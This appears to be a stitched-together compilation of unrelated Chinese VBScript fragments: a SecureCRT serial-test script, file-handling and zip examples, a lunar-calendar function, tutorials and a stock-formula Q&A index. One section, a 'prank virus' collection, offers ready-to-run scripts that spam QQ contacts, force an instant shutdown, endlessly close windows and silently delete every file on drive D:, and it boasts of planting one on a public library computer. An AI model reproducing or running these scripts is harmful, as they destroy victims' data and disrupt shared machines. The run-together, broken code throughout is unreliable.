0xfa05010a" & chr(13) crt.Screen.Send "0040" & chr(13)erro_c = Read2(erro_c )crt.Sleep Delay1'53410000crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0053" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0041" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0030" & chr(13)crt.Screen.Send "q" & chr(13)crt.Screen.Send "m 0xfa05010a" & chr(13)crt.Screen.Send "0000" & chr(13)crt.Screen.Send "q" & chr(13)crt.Sleep Delay1erro_c = Read2(erro_c )crt.Sleep Delay1'--------------------------------------------if var1=1 thenexit doend if'var1=var1-1Loop'crt.Screen.Send "d 0xfa050100" & chr(13)'crt.Sleep 1000crt.Screen.Synchronous = FalseEnd Sub'===================================== Sub Read1crt.Sleep 100crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.waitForString "0049"crt.Screen.waitForString "value = 21 = 0x15"crt.Sleep 500crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.waitForString "004b"crt.Screen.waitForString "value = 21 = 0x15"crt.Sleep 500crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.waitForString "004b"crt.Screen.waitForString "value = 21 = 0x15"crt.Sleep 500End Sub'===================================== Function Read2(e_cnt)Const Delay2 = 100crt.Sleep 300crt.Screen.Send "d 0xfa050100" & chr(13)'crt.Screen.waitForString "0053"If(crt.Screen.WaitForString ("0053",1)<>False) Then 'Msgbox "time yes"crt.Screen.waitForString "value = 21 = 0x15" ElseErroRecd e_cnte_cnt = e_cnt + 1crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.Send "d 0xfa050100" & chr(13)Read2 = e_cntexit function'Msgbox "time out"End Ifcrt.Sleep Delay2crt.Screen.Send "d 0xfa050100" & chr(13)'crt.Screen.waitForString "004b"'crt.Screen.waitForString "value = 21 = 0x15"If(crt.Screen.WaitForString ("004b",1)<>False) Then'Msgbox "time yes"crt.Screen.waitForString "value = 21 = 0x15"ElseErroRecd e_cnte_cnt = e_cnt + 1crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.Send "d 0xfa050100" & chr(13)Read2 = e_cntexit function'Msgbox "time out"End Ifcrt.Sleep Delay2crt.Screen.Send "d 0xfa050100" & chr(13)'crt.Screen.waitForString "004b"'crt.Screen.waitForString "value = 21 = 0x15"If(crt.Screen.WaitForString ("004b",1)<>False) Then'Msgbox "time yes"crt.Screen.waitForString "value = 21 = 0x15"ElseErroRecd e_cnte_cnt = e_cnt + 1crt.Screen.Send "d 0xfa050100" & chr(13)crt.Screen.Send "d 0xfa050100" & chr(13)Read2 = e_cntexit function'Msgbox "time out"End Ifcrt.Sleep Delay2Read2 = e_cntEnd Function'=====================================Sub ErroRecd(e_cnt)'创建⽂件对象Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")'设置⽂件对象 1 只读模式;2 写模式;8 在⽂件末尾进⾏写操作Set file1 = fso.OpenTextFile(LOG_FILE_NAME,8, False)'file1.WriteLine("Erro"&e_cnt&":"&time)file1.WriteLine("Erro"&e_cnt&":"&date&" | "&time)'---------------------file1.WriteLine("---------st-----------")dim sdim cc=1dos = crt.Screen.Get(c,1,c,100)file1.WriteLine(s)if c=50 thenexit doend ifc=c+1loopfile1.WriteLine("---------end-----------")file1.WriteLine(" ")'---------------------------------------file1.Close '关闭⽂件'Msgbox timeEnd Sub'=======================================Sub RunRecd'创建⽂件对象Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")'设置⽂件对象 1 只读模式;2 写模式;8 在⽂件末尾进⾏写操作Set file1 = fso.OpenTextFile(LOG_FILE_NAME,8, False)'file1.WriteLine("Erro"&e_cnt&":"&time)file1.WriteLine("|=======================================") file1.WriteLine("The vbs started@"&":"&date&" | "&time)'---------------------file1.WriteLine(" ")'---------------------------------------file1.Close '关闭⽂件'Msgbox timeEnd Sub操作步骤:1. 建⽴通信连接2. 运⾏脚本。
vbs文件操作脚本实例
vbs文件操作脚本实例1.创建一个新的文本文件,如果文件已经存在则报告错误:Rem 在当前盘根目录下创建"测试.txt"并写入一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=-1VBSCall Call MessageBox("发现错误!!!文件已经存在!!!")Goto overEndIfVBS Set file=fso.CreateTextFile(filename,Ture)VBS file.WriteLine("文件第一行,这是一个测试文件")VBS file.CloseVBSCall Call MessageBox("测试文件创建成功!!!")Rem overEndScript2.强行写入文件覆盖原有内容:Rem 往当前盘根目录下的文件"测试.txt"写入一个字符串,覆盖原有内容VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForWriting,Ture)VBS file.WriteLine("测试写入文件行")VBS file.CloseVBSCall Call MessageBox("写入文件成功!!!")Rem overEndScript3.往文件尾部追加内容:Rem 往当前盘根目录下的文件"测试.txt"末尾追加一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForAppending=8VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForAppending)VBS file.WriteLine("测试追加字符串到文件末尾")VBS file.CloseVBSCall Call MessageBox("追加字符串到文件成功!!!")Rem overEndScript4.读取指定文件一行Rem 从当前盘根目录下的文件"测试.txt"读一行VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.ReadLineVBS file.CloseVBS text="从文件"&filename&"读取行成功!读到的字符串为:"&text VBSCall Call MessageBox(text)Rem overEndScript5.从指定文件行读取2个字符Rem 从当前盘根目录下的文件"测试.txt"读取2个字符VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.Read(2)VBS file.CloseVBS text="从文件"&filename&"读取2个字符成功!读到的字符为:"&text VBSCall Call MessageBox(text)Rem overEndScript6. ReadAll读取整个文件内容,大文件太占资源,不建议使用//使用方法和ReadLine近似7.SkipLine跳过当前行//使用方法是file.SkipLine,仅用于只读属性打开的文件8.测试文件行结束/文件结束a.测试行结束判断语句If file.AtEndOfLine=-1...EndIf//表达式为真的时候当前指针处于行末b.测试文件结束判断语句If file.AtEndOfStream=-1...EndIf//表达式为真的时候当前指针处于文件末9.其他用于文件的函数或者叫方法功能有a.file.Column 返回当前列号b.file.Line 返回当前行号c.file.FileExists(filename) 判断指定文件是否存在。
整人病毒vbs大全!
整⼈病毒vbs⼤全!新建⼀个记事本把代码复制进去重名名为vbs格式的就可以了解除这个vbs脚本的办法就简单了只要关掉任务管理器⾥Wscript.exe这个进程就好了1、你打开好友的聊天对话框,然后记下在你QQ⾥好友的昵称,把下⾯代码⾥的xx替换⼀下,就可以⾃定义发送QQ信息到好友的次数(代码⾥的数字10改⼀下即可).xx.vbs=>—————————————————————————代码如下:On Error Resume NextDim wsh,yeset wsh=createobject(“wscript.shell”)for i=1 to 10wscript.sleep 700wsh.AppActivate(“与 xx 聊天中“)wsh.sendKeys “^v”wsh.sendKeys iwsh.sendKeys “%s”nextwscript.quit—————————————————————————2、我就⽤这个程序放在学校图书馆查询书刊的机器上,好多⼈都那它没办法,哈哈—————————————————————————代码如下:domsgbox “You are foolish!”loop—————————————————————————3、直接关机—————————————————————————代码如下:dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)WSHshell.run “shutdown -f -s -t 00”,0 ,true—————————————————————————4、删除D:\所有⽂件—————————————————————————代码如下:dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)WSHshell.run “cmd /c “”del d:\*.* / f /q /s”””,0 ,true —————————————————————————5、不断弹出窗⼝—————————————————————————代码如下:while(1)msgbox “哈哈你被耍了!“loop—————————————————————————6、不断按下alt+f4 (开什么都关闭……)病毒太强必须关机才⾏!—————————————————————————代码如下:dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)while(1)WSHshell.SendKeys “%{F4}”Wend—————————————————————————7、按500次回车(以下代码在运⾏者的电脑上显⽰500个对话框。
飞狐公式编写求助问答1000例
飞狐公式编写求助问答1000例目录索引:QUOTE:1.问: 最近20个交易日内,10日均线连续下跌的公式编写2.问: 下面公式缺点是:上升走势中如果某天的收盘价等于前根阳K线的收盘价时它就选不出来。
3.问: 我想编个5分钟涨幅大于2%的选股公式4.问: 哪位老师把他改成分析家的,组合公式:猎庄敢死队+别样红(凤翔)5.问: 用飞狐,求写K线组合:大前天收阳或阴线,振幅在八个点之内,涨幅在六到十个点之内或跌幅在六个点以内;6.问: 求助编写四连阳选股,阳线涨幅都在5%以下,每根阳线的涨幅都在5%以下阳线但下跌算.......................7.问: 求助下面分笔公式的写法--成交额小于流通市值千分之三而大于等于当天每笔平均成交额的可确定为大户,小于当天笔均成交额8.问: 求助:这个鹏搏资讯的公式为什嬷不能显示9.问: 买入:日线创100日新高 ,周线(5周)BIAS>10 卖出:2日收盘在30线下方注:买卖都只要单一信号即可,不要连续给出信号10.问: 上式,交易系统不是用到ENTERLONG: EXITLONG: 这些命令么?如何改11.问: 一:选跌幅在6% 以内二:选升幅在3% 以内12.问: 求助:大盘指数副图指标有均线,且深股显示深圳指数,沪股显示上证指数。
13.问: 在特定时段内,比如,在历史最高点和历史最底点之间的时间段内满足条件a,公式如何表达?14.问: 求助:请问能否在FH的分时图中把成交量按买、卖类型分色显示?15.问: 公式描述:(一)今日收盘价收在5日均线之上。
(二)短期均线系统呈多头排列,5日均线在10 日均线之上,.......................16.问: 如何将VOL改成大盘分析显示成交额,而个股分析依然显示成交量?并且用彩量表17.问: 求收盘价到光标位置的涨跌幅。
18.问: 求助:飞狐公式:ASI突破前俩个高点公式原码飞狐公式19.问: 求助:非流通股占总股本的比例在K线主图中显示20.问: 求助:如何选出即将突破60日均线的个股!?21.问: 求助——(周,日,60分钟,30分钟)MACD同时向上的公式怎么表达22.问: 求助飞狐通不过23.问: 好公式求助!24.问: FXJ常用指标设定好后用何健翻指标?25.问: 想求在飞狐中:收盘价小于20日均线十五个点(无限小于20日均线好了,就是说二十个点也可以)的表达方式?就编成选股公式26.问: 我想在飞狐股软中选股的条件:换手率在3% ~ 15% 之间27.问: 公式公式描述:(一)昨日KDJ指标中的k.d.J值都小于20,今日J拐头向上。
最新最全的VBS脚本应用超级范例大全
可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数:1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩:Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功,增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩:Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。
完整的VBS教程(超级实用)
很好的VBS教程(带实例)推荐第一篇:讲一下VBScript。
主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以。
但既然有编程基础推荐直接去找一些参考书来读。
会比较快。
什么是VBScript呢?VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)。
正如其字面所透露的信息,VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。
我进一步解释一下,Microsoft Visual Basic是微软公司出品的一套可视化编程工具,语法基于Basic.脚本语言,就是不编译成二进制文件,直接由宿主(host)解释源代码并执行,简单点说就是你写的程序不需要编译成.exe,而是直接给用户发送.vbs的源程序,用户就能执行了。
我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了,答案是:记事本(Notepad).我不是开玩笑,其实任何一种文本编辑器都可以用来开发VBS开发,只不过记事本是由系统自带的,比较好找而已. 尽管如此,我还是建议你去下载一个专业的文本编辑器,因为这些工具可以提供 "语法高亮"等功能,更加方便开发,用哪一个随你喜好,我比较喜欢Edit Plus (2.10).OK,我们先来写一个VBScript程序热热身.REM 输入并回显你的名字'使用InputBox和Msgbox函数Dim name,msgmsg="请输入你的名字:"name=Inputbox(msg,"名称")Msgbox(name)把上面的程序清单输入到记事本里面,然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行,观察运行结果. 注意:请自己输入程序清单,不要复制->粘贴!我来解释一下这个程序,第一行和第二行的开头分别是"REM"语句和" ' ",这两个东西的作用是相同的,表示本行是注释行,就是说这两行什么也不干,只是用来说明这段程序的功能,版权信息等等. 注释行是程序最重要的部分之一,尽管它不是必需的,但对于其他人阅读源代码,以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰,简洁的注释。
vbs acad实例
vbs acad实例在VBS中创建AutoCAD实例的示例代码如下:
```vbscript
Dim acadapp As AcadApplication
Private Sub Form_Load()
On Error Resume Next
Set acadapp = GetObject(, "")
If Err Then
Set acadapp = CreateObject("")
If Err Then
MsgBox ("CAD启动错误")
Exit Sub
End If
End If
= True
End Sub
```
这段代码首先声明了一个名为acadapp的AcadApplication对象。
在Form_Load子程序中,它试图获取已运行的AutoCAD实例。
如果无法获
取(Err发生),则尝试创建新的AutoCAD实例。
如果创建过程中发生错误,它将显示一个错误消息并退出子程序。
如果一切顺利,它将使新的AutoCAD实例可见。
请注意,上述代码假定AutoCAD已经安装在你的计算机上,并且AutoCAD的COM组件已被正确注册。
此外,这段代码需要在VBA环境中运行,例如在Excel宏或Access VBA中。
如果你希望在其他环境中运行它,可能需要稍作修改。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
a:=close; n:=0.9; <% va=ffl.vardata("a") vn=ffl.vardata("n") '传常量到 VN last=ubound(va) for i=0 to last step 2 va(i)=va(i)*vn next ffl.vardata("a")=va %> a
小结:接口 ffl.vardata()的两个用法,va=ffl.vardata("a")作用是把公式系统中的序列变量 a 传递到 VBS 中的数组 va, ffl.vardata("a")=a 的作用是把 VBS 中的数组传递到公式系统的序列变量 a。
思考:找一个上市天数少的股票,如 600028 试试以下代码,你得出了什么结论? 公式代码三: a:=close; n:=0.9; <% va=ffl.vardata("a") vn=ffl.vardata("n") '传常量到 VN last=ubound(va) for i=0 to last va(i)=va(i)*vn msgbox("跌停价=" & cstr(va(i))) next msgbox(cstr(va(last))) ffl.vardata("a")=va %> a
显示的消息为两个字符串连接结果,这里使用了字符串连接运算符“&”。
代码解释完毕,可以动手操作了。输入并修改了公式代码二后,点确定,在 K 线图上显示该公式时,会弹出消息框,提示 最后一天的计算结果,显然在 VBS 脚本中计算的结果是正确的。至此可以推断,问题出在 VBS 代码的最后一行,仔细观察最后 一行代码,ffl.vardata("va")=a 并对照 wilson 对接口 ffl.vardata()的解释,原来确实写错了,正确的代码应该是 ffl.vardata("a")=va
msgbox(cstr(va(last)))----代码分解:va(last)表示最后一天计算的数值结果,cstr(va(last))是把计算出的数值转换为字符串 (msgbox 函数只接收字符串),msgbox(cstr(va(last))),在屏幕上弹出一个消息框,显示指定的字符串即计算结果。
为了使消息框显示的信息更具提示性,将本行代码改为 msgbox("最后一天跌停价=" & cstr(va(last)))
vma5(i)=vma5(i)*vn '计算 vma5 上涨 10% next ' 将数组 vma5 传递到公式系统的序列变量 ma5 ffl.vardata("ma5")=vma5 FFL.VarStartIndex("ma5")=10 '设置 ma5 的起始有效周期为 10 %> ma5;{在飞狐公式系统中输出
练习 2:阅读 VBScript 帮助文件,查看 Inputbox()和 Cint()函数的用法,把修正后的公式代码一进行修改,使得最后一天的 结果等于你从键盘上输入的任意数值。
VBS 示例 4 飞狐的接口函数 FFL.VarStartIndex()
// 传递数组变量有效数值起始位置。例如:FFL.VarStartIndex("VAR1")=10 示例 ma5:=ma(close,5);{序列变量,其序列值是收盘价的 5 均价} n:=1.1; <% rem 将公式系统中的序列 ma5 传入到 VBS 中的数组 vma5 vma5=ffl.vardata("ma5") vn=ffl.vardata("n") '传递公式系统中的常数 n 到 VBS 中的变量 vn '传递公式系统中序列变量 ma5 的起始有效周期,赋值给 VBS 的变量 start start=FFL.VarStartIndex("ma5") last=ubound(vma5) 'last 等于数组 vspj 的最大下标 '下面是一个循环 for i=start to last :rem 循环变量 i 从 start 到 last
作者: 南客 -- 发布时间: 2001/11/19 11:47am [这个贴子最后由南客在 2001/11/21 11:26am 编辑]
公式代码一: a:=close; n:=0.9; <% va=ffl.vardata("a") vn=ffl.vardata("n") '传常量到 VN last=ubound(va) for i=0 to last va(i)=va(i)*vn next ffl.vardata("va")=a '这里出问题了,应该是 ffl.vardata("a")=va %> a 上述代码的目的是计算收盘价对应的跌停价,但观察结果,输出的却仍是收盘价,错在哪?难道是我们的程序计算错了?
VBS 示例 5 条件语句
if ... then ...
else ...
end if
如果在 VBS 中能“看到”计算的结果多好呀!(DEBUG 方法)为了判断 VBS 程序是否计算错误,在上述代码 next 后插入一个 函数 msgbox,可以帮助我们找到错误。代码如下: 公式代码二: a:=close; n:=0.9; <% va=ffl.vardata("a") vn=ffl.vardata("n") '传常量到 VN last=ubound(va) for i=0 to last va(i)=va(i)*vn next msgbox(cstr(va(last))) ffl.vardata("va")=a %> a